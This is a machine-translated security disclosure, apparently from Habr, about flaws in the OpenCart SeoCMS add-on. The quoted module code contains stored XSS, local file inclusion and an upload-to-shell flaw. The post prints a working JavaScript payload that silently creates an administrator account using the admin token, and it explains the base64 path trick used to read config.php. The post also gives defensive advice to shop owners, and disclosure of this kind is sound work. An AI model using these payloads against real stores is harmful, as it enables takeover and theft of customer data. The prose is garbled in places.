Opencartforum和朋友

图片

所有的狗都会上天堂,Opencart上的网上商店的所有人或迟或早都会在Opencartforum上。 当首次在主机上安装引擎后的欣喜之情过去了,残酷的现实开始了,典型的商店老板总是开始错过某些东西,并且他开始了为自己的商店寻找合格承包商和优质附件的艰难道路。

您可以在Runet上找到这两者的最大资源,这是opencartforum.com,该网站如今拥有超过14万注册用户。 在这14万个注册中,甚至有一半是居住在现场商店中的人,他们使用可以在网站上立即购买的模板或模块。 所有这些人甚至都没有意识到,与这些附件一起,他们获得了许多母亲的黑客只能梦wonderful以求的出色后门和漏洞。

尽管在论坛商店中发布附加组件的规则中以声明性形式出现,但它是用黑色和白色编写的。 我们有qadepartment,受过专门训练的人员检查加载项是否存在漏洞。

事实证明,作为在插件作者和最终用户之间进行调解的平台,论坛,或者插件作者都没有承担任何责任。
怎么会这样 等等! 从历史上看。

为我自己模拟事件的假设后果,将在后面讨论,我头上的头发直立。

试想一下。 您是一家成功的商店老板,已经有几年没晚上睡觉了,写了一些文字,对黑,白,灰色seo eo之以鼻,与大熊猫战斗,米努辛斯克,还没喝完酒,吸引了100,000位顾客,投入了头寸。 您的孩子上一所好的幼儿园,然后突然您的销售额下降了一半,这仅仅是因为您与所有联系客户的基数都流向了竞争对手。 或突然之间,您完全迷失了它,因为一个月来,您的商店一直在使用其他人的mysql服务器工作,您甚至没有注意到kofig的变化,并且主机上的所有备份都变坏了。

他们在类似的情况下表现出自己的感觉,工作了几年,一天之内就筋疲力尽了。 你说,事实并非如此。

但这很容易。 只需购买带有未声明的未公开保护“保护”以防止未经授权使用的附件,您的数据很快就会变得陌生!

第一次事件


六个月前,当Ai-Bol扫描仪报告针对SeoCms模块中的奇怪代码(超过10,000个活动安装)发出奇怪警告时,从表面上阻止了一家商店。

我们开始仔细观察,结果发现这个abracadabra只是简单地显示了附加组件的版本:

$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10; if ($date_diff > 7) { $ver_content = false; $opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda =>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] )))); $context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage(); } $this->model_setting_setting->editSetting('blog_ver', Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); } if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] = $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end'); } else { $this->data['text_new_version'] = ''; } 

没关系,除了:

 $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>" 

它不会以任何方式进行过滤,并且如果偶然输入了以下脚本(而不是客户端版本),那么对安装模块的任何商店的管理员访问权限都是时间和技术问题。

 <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function​ getUrlVars​()​ {​ v​ar​vars=​​[​],​hash,​​hashes=​​n​ull;​ i​f​​(w​indow​.l​ocation.​h​ref​.i​ndexOf(​"​?"​)​​&& window​.​location.​h​ref.​​indexOf​("​&")​)​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.l​ocation​.h​ref​.i​ndexOf​(​"?"​)​​+ 1)​.​split(​​"&"​); }​​​else​i​f​​(w​indow​.l​ocation.​h​ref​.​indexOf(​​"?"​))​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.​location​.h​ref​.i​ndexOf​(​"?"​)​​+​​1​); }​ i​f​ ​(h​ashes!​=​n​ull)​ ​{​ f​or​​(v​ar​i​=​​0;​​i​<​hashes​.​length​;​i​++)​{​ hash=​​hashes[​​i]​.s​plit​(​"=")​; vars[​h​ash​[0​]​]​​=​hash​[​1]​; }​ }​ r​eturn​vars;​ } var​ url_vars =​ ​ getUrlVars​(); var​ token =​ ​ url_vars.​ ​token​; var​ host ​=​ window.​ ​location​.​origin;​ var​action=​​host+​​"​/admin/index.php?route=user/user/add&token="​+​ token;​ document.​ ​addEventListener​(​"DOMContentLoaded"​,​ ​function​(​event​)​ ​{ $​.p​ost(​​action,​​{​​username​:​​"Hack123"​,​user_group_id​:​​"1"​, firstname​:​"​Lol",​​lastname​:​"​Haha"​,​ email​:​​"Hack123@Hack123.com"​, password:​​"​1234",​​ confirm​:​​"1234"​,​ status​:​​"1"​​}​​); }); </script> 

有关情况的详细信息,请参见此处 。 行政通知在这里

大概是第五次,已经为论坛管理部门非常清楚地建模了此过程,因此有可能传达情况的严重性。

反过来,主管部门又正式通知用户此漏洞的存在,而且它似乎甚至向客户发布了新闻通讯。 但这是不准确的。

让我们将附加组件的作者的威胁和逃避抛诸脑后,再继续两个月...

第二次事件


另一家商店来检查,其中每页上都有长达3-4秒的野fr。 我们开始剖析并在文件夹中看到20k +扩展名为.php的文件的缓存。 用php扩展名Karl缓存文件,这绝非偶然!

我们调查这些文件的数据结构,然后再看一下我们漂亮的SEOCMS模块的各个部分。

还有一个很棒的方法:

 protected function ajax_file() { $ajax_file_cached = false; $ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"])); if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { } return $ajax_file_cached; } 

这是经典漏洞-本地文件包含的示例。

在base64 ../....../config.php和hello中进行编码就足够了-require($ ajax_file); 并请:这里您有数据库的密码,这里是系统错误日志,即使/ etc / pwd一直很重要,即使/ etc / pwd也是非常必要的,那该怎么办?

phpmyadmin领域中有多少个默认设置的主机和服务器? 一半吗 还有吗

我们开始进一步寻找,发现了什么? 精彩头像下载代码:

 if (!$json) { if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $file = basename($filename) . '.' . md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename); // Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file); // To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300; move_uploaded_file($this->request->files['file']['tmp_name'], DIR_IMAGE . $file); $new_filename = $avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original); if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') { $width = $this->data['thislist']['avatar_width']; } else { if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') { $width = $this->data['generallist']['avatar_width']; } else { $width = '100'; } } if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') { $height = $this->data['thislist']['avatar_height']; } else { if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') { $height = $this->data['generallist']['avatar_height']; } else { $height = '100'; } } $this->load->model('tool/image'); $json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false); if (trim($avatar_thumb)=='') { $json['error'] = $this->language->get('error_upload'); } if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file); } } } 

在加载某种shell.php.png之后,尝试调整大小(并向我们显示下载文件的完整路径)时,它完全会出错,然后也可以由先前的方法完美执行。

漏洞利用视频(打开php系统错误输出):


漏洞利用视频(关闭php系统错误输出):


代码分析于2019年4月在模块52的版本上进行。

由于论坛的作者和管理者是在相同的日期被通知的,因此他们有足够的时间采取所有可能的措施,以通知购买者该漏洞已消除,因此,我们很清楚地可以披露所有详细信息。

在那一刻,发生了一些事情。 在开发人员的服务器上是他自己的模块。 但是该漏洞无法解决。 她被掩盖了……这是一个很大的奇怪。 很大!

整个故事的第二个奇怪之处是,主管部门和附加组件质量控制部门的opencartforum既没有看到第一个事件,也没有看到第二个事件,并且在这两种情况下,第一次通知都没有发现任何关键事件。

当然,当您的配置大放异彩时,没有什么关键的。 当有一半的店主不知道他们的内幕正在发生什么时,没有什么紧要的。 毕竟,他们曾经有人将这个附加组件放进去,而且没有邮寄,他们甚至没有意识到整个业务都受到直接威胁。

如果主管部门对第一个事件有不同的反应,则在第二个事件中,所有提及该事件的帖子都将被删除。 所有这些都包含在论坛报价中 ,根据该报价 ,关于商业增值,可以留下关于死者的评论,不管是好是无。

作者还声称错误和漏洞是固定的,qadepartment错过了要出售的附件,但不,漏洞没有固定...

 protected function ajax_file() { if (!class_exists('PHP_Exceptionizer', false)) { if (function_exists('modification')) { require_once(modification(DIR_SYSTEM . 'library/exceptionizer.php')); } else { require_once(DIR_SYSTEM . 'library/exceptionizer.php'); } } $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ajax_file_cached = false; $filename = preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])), ENT_QUOTES, 'UTF-8')); $ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { ob_start(); require($ajax_file); $ajax_html = ob_get_contents(); ob_end_clean(); header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax'); exit(); } return $ajax_file_cached; } catch (E_WARNING $e) { } } 

require()仍然在这里。 输入经过轻微过滤。 但是潜在的LFI既有生命也有生命。 如果再多一点,那么是的,现在我们既不能加载也不能执行Shell。 但是,假设我们尝试关闭,巩固了除index.php以外的所有脚本的执行,甚至在nginx配置级别也无法执行。 但是在其他地方,邪恶的黑客有机会将任意文件放入缓存文件夹。 会发生什么? 没错-执行多余的代码,在get请求中生成哈希,这需要两分钟。 就是说,最终,它是封闭的,但不是完全封闭的。

好了,这些小事情:语言文件中如何体现出如此华丽的关系:

 if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) { $_['value_revres'] = HTTPS_SERVER; $_['value_ctlg'] = HTTPS_CATALOG; } else { $_['value_revres'] = HTTP_SERVER; $_['value_ctlg'] = HTTP_CATALOG; } 

它们会发光……您想知道到项目根目录的完整路径。 只需找到打开了错误显示的商店,然后直接运行指向语言文件的链接即可。

要研究在以作者的兆行代码为单位的百万字节更新插件之后可能还会发生的事情-既没有资源也没有需求。 为此,有经过专门培训的负责人。

还有蛋糕上的樱桃。 我们记得,我们有一个商业附加组件...在一个商业附加组件中,作者的资源中隐藏了文字:
www.google.com/search?q=%22技术支持+ by + SEO + CMS%22

有趣的是,至少有一个附加购买者知道这种“奇妙”的复活节彩蛋吗?

今天,补品既出售又出售。 只需致电以关注情况的帖子即可删除。 没有买家收到有关第二起事件的警告通知。 也许有20-30%的加载项用户已更新,但是70%-即使我们谈论的是官方作者关于加载项使用情况的统计信息,这些商店也有7000家(实际上,更多)-因为没人知道自由职业者在客户端商店安装了多少副本扩展许可)处于巨大的风险区域。

用蒙克豪森男爵的话来说,我只想说一件事:先生们更新了!

对于客户


该怎么办,那些最终沉没在这艘潜艇中的人:

  • 不要在ftp上留下垃圾。 查看info.php,adminer.php和所有其他垃圾。 您应该只有index.php和一个点。
  • 定期更改密码,所有密码(ftp,管理面板,数据库)。 并确保您不会意外拥有多余的陌生帐户。
  • 禁用错误输出。 始终,如果您不工作,请在解释器配置级别而不是在商店设置中关闭错误输出。
  • 是的,我知道这不是很可行,但是您至少应该保持与安全性相关的引擎代码更新,并在理想情况下定期将引擎更新为稳定版本。
  • 定期查看访问日志,可能会有很多有趣的事情。 跟踪异常。
  • 另外,使用密码或商店的ip admin限制以及各种易受攻击的部分(例如phpmyadmin)限制关闭。 如果这是所有人共享phpmyadmin的共享,请远离此类托管!
  • 如果使用sxd和类似的实用程序,请立即将它们重命名为随机字符集。
  • 使用nginx时,值得在虚拟主机配置中添加规则,以禁止运行网站的root和admin部分中除index.php以外的任何php脚本。
  • 不要从您的帐户扔垃圾。 如果您有一家商店,那就让它成为一家商店。 不要在一个帐户下加载一堆wp博客,一堆bug和各种测试域。
  • 切勿将网站或数据库的备份存储在虚拟主机的根目录中。
  • 观察服务器/主机上的负载,尝试使高峰负载的电源至少保持x2,如果负载突然由于无缘无故突然增加,请尝试找出原因。 最好不要超车!

Source: https://habr.com/ru/post/zh-CN466283/


All Articles